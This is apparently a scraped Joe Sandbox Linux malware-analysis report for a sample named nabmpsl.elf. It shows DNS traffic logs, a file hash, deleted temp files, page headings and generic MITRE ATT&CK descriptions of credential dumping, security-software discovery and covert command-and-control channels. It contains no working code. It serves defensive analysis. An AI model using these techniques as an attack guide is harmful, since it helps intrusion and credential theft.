Nov 28, 2024 08:48:35.706998110 CET	42405	53	192.168.2.23	202.61.197.122
Nov 28, 2024 08:48:35.953037977 CET	53	42405	202.61.197.122	192.168.2.23
Nov 28, 2024 08:48:48.129396915 CET	35285	53	192.168.2.23	194.36.144.87
Nov 28, 2024 08:48:48.368834972 CET	53	35285	194.36.144.87	192.168.2.23
Nov 28, 2024 08:49:00.574728012 CET	57600	53	192.168.2.23	168.235.111.72
Nov 28, 2024 08:49:00.887106895 CET	53	57600	168.235.111.72	192.168.2.23
Nov 28, 2024 08:49:12.422086000 CET	40105	53	192.168.2.23	185.181.61.24
Nov 28, 2024 08:49:12.682280064 CET	53	40105	185.181.61.24	192.168.2.23
Nov 28, 2024 08:49:24.885416985 CET	44923	53	192.168.2.23	81.169.136.222
Nov 28, 2024 08:49:25.124825954 CET	53	44923	81.169.136.222	192.168.2.23
Nov 28, 2024 08:49:37.339282990 CET	47929	53	192.168.2.23	51.158.108.203
Nov 28, 2024 08:49:37.588203907 CET	53	47929	51.158.108.203	192.168.2.23

Start time (UTC):	07:47:42
Start date (UTC):	28/11/2024
Path:	/tmp/nabmpsl.elf
Arguments:	/tmp/nabmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0iWNvs (deleted)

/tmp/qemu-open.0wXwqr (deleted)

/tmp/qemu-open.1DmM5r (deleted)

/tmp/qemu-open.1rAIMo (deleted)

/tmp/qemu-open.37Vjlr (deleted)

/tmp/qemu-open.3chHhs (deleted)

/tmp/qemu-open.3rzyYp (deleted)

/tmp/qemu-open.4Rn7Yo (deleted)

/tmp/qemu-open.4gyQXp (deleted)

/tmp/qemu-open.56TSLq (deleted)

/tmp/qemu-open.5nZ4ap (deleted)

/tmp/qemu-open.6vBUaq (deleted)

/tmp/qemu-open.7W2Lpr (deleted)

/tmp/qemu-open.83Nm5r (deleted)

/tmp/qemu-open.8T9Cts (deleted)

/tmp/qemu-open.8waZwr (deleted)

/tmp/qemu-open.BYssXp (deleted)

/tmp/qemu-open.C0HMuq (deleted)

/tmp/qemu-open.Cc2kBq (deleted)

/tmp/qemu-open.DozVTo (deleted)

/tmp/qemu-open.Eyw9ps (deleted)

/tmp/qemu-open.FOEQUq (deleted)

/tmp/qemu-open.FWjTsr (deleted)

/tmp/qemu-open.FX7nyq (deleted)

/tmp/qemu-open.FeZDGq (deleted)

/tmp/qemu-open.GXzLrp (deleted)

/tmp/qemu-open.Gxktys (deleted)

/tmp/qemu-open.IUP03r (deleted)

/tmp/qemu-open.IeYt1s (deleted)

/tmp/qemu-open.J9P5dr (deleted)

/tmp/qemu-open.JGI3lq (deleted)

/tmp/qemu-open.K08TPq (deleted)

/tmp/qemu-open.Lpf4To (deleted)

Linux Analysis Report
nabmpsl.elf

Start time (UTC):	07:47:43
Start date (UTC):	28/11/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre